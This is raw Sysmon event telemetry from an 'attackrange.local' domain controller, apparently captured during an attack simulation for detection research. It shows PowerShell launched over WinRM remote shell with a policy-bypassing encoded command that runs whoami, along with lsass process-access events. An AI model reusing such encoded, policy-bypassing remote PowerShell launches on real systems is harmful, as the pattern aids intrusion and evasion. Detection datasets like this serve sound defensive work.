154100x80000000000000002592Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:11.876{A5F018FF-28F3-5F80-7800-000000007F01}4572C:\Windows\System32\winrshost.exe10.0.14393.0 (rs1_release.160715-1616)Host Process for WinRM's Remote Shell pluginMicrosoft® Windows® Operating SystemMicrosoft Corporationwinrshost.exeC:\Windows\system32\WinrsHost.exe -EmbeddingC:\Windows\system32\ATTACKRANGE\Administrator{A5F018FF-28F3-5F80-07B8-040000000000}0x4b8070HighMD5=F40EC96CA18D88CB1F26FA2070010714,SHA256=607C014A3CA531FFAD50BCD90095C01E4E6B691D9E18473C70E4699CF1E31453,IMPHASH=4216D8E7F36901B61DFD6309B49BCF96{A5F018FF-28BE-5F80-0C00-000000007F01}604C:\Windows\System32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch 10341000x80000000000000002591Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:11.869{A5F018FF-28BD-5F80-0B00-000000007F01}868908C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1e0a8|C:\Windows\system32\lsasrv.dll+1d2d1|C:\Windows\system32\lsasrv.dll+1bb00|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002590Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:11.869{A5F018FF-28BD-5F80-0B00-000000007F01}868908C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1a4e6|C:\Windows\system32\lsasrv.dll+1ba8f|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002589Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:11.869{A5F018FF-28BD-5F80-0B00-000000007F01}868908C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+1b05d|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002723Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:12.416{A5F018FF-28BD-5F80-0B00-000000007F01}868908C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1e0a8|C:\Windows\system32\lsasrv.dll+1d2d1|C:\Windows\system32\lsasrv.dll+1bb00|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002722Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:12.416{A5F018FF-28BD-5F80-0B00-000000007F01}868908C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1a4e6|C:\Windows\system32\lsasrv.dll+1ba8f|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002721Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:12.416{A5F018FF-28BD-5F80-0B00-000000007F01}868908C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+1b05d|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002720Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:12.416{A5F018FF-28BD-5F80-0B00-000000007F01}86892C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1e0a8|C:\Windows\system32\lsasrv.dll+1d2d1|C:\Windows\system32\lsasrv.dll+1bb00|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002719Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:12.416{A5F018FF-28BD-5F80-0B00-000000007F01}86892C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1a4e6|C:\Windows\system32\lsasrv.dll+1ba8f|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002718Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:12.401{A5F018FF-28BD-5F80-0B00-000000007F01}86892C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+1b05d|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002717Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:12.369{A5F018FF-28F4-5F80-7D00-000000007F01}47964816C:\Windows\system32\conhost.exe{A5F018FF-28F4-5F80-8000-000000007F01}4972C:\Windows\system32\whoami.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002716Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:12.369{A5F018FF-28BC-5F80-0500-000000007F01}6442392C:\Windows\system32\csrss.exe{A5F018FF-28F4-5F80-8000-000000007F01}4972C:\Windows\system32\whoami.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000002715Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:12.369{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002714Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:12.369{A5F018FF-28F4-5F80-7F00-000000007F01}48764968C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe{A5F018FF-28F4-5F80-8000-000000007F01}4972C:\Windows\system32\whoami.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+3332f6|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+2b5560|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+2b4f07|UNKNOWN(00007FFAFDB7331B)|UNKNOWN(00007FFAFD0141A5)|UNKNOWN(00007FFAFD013E76)|UNKNOWN(00007FFAFDAC54DB)|UNKNOWN(00007FFAFCFD4A0C)|UNKNOWN(00007FFAFD032EDB)|UNKNOWN(00007FFAFD016540)|UNKNOWN(00007FFAFD016540)|UNKNOWN(00007FFAFD0163D1)|UNKNOWN(00007FFAFD008356)|UNKNOWN(00007FFAFD014889)|UNKNOWN(00007FFAFD01447C)|UNKNOWN(00007FFAFD0141A5)|UNKNOWN(00007FFAFD013E76)|UNKNOWN(00007FFAFDAC54DB)|UNKNOWN(00007FFAFCFFACD7)|UNKNOWN(00007FFAFCFFA2A7) 10341000x80000000000000002713Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:12.369{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002712Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:12.369{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002711Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:12.369{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002710Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:12.369{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002709Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:12.369{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002708Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:12.369{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002707Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:12.369{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002706Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:12.369{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000002705Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:12.377{A5F018FF-28F4-5F80-8000-000000007F01}4972C:\Windows\System32\whoami.exe10.0.14393.0 (rs1_release.160715-1616)whoami - displays logged on user informationMicrosoft® Windows® Operating SystemMicrosoft Corporationwhoami.exe"C:\Windows\system32\whoami.exe"C:\Users\Administrator\ATTACKRANGE\Administrator{A5F018FF-28F4-5F80-F3CC-040000000000}0x4ccf30HighMD5=AA1E17EA3DB5CD9D8BC061CAEC74C6E8,SHA256=8ECFFCCE38D4EE87ABAEE6CBE843D94D4F8FB98FAB3C356C7F6B70E60B10F88A,IMPHASH=E24E330FA9663CE77F2031CACAEB3DF9{A5F018FF-28F4-5F80-7F00-000000007F01}4876C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exePowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand dwBoAG8AYQBtAGkA 10341000x80000000000000002704Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:12.307{A5F018FF-28BD-5F80-0B00-000000007F01}86892C:\Windows\system32\lsass.exe{A5F018FF-28F4-5F80-7F00-000000007F01}4876C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+25d17|C:\Windows\system32\lsasrv.dll+26ded|C:\Windows\system32\lsasrv.dll+25b95|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002703Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 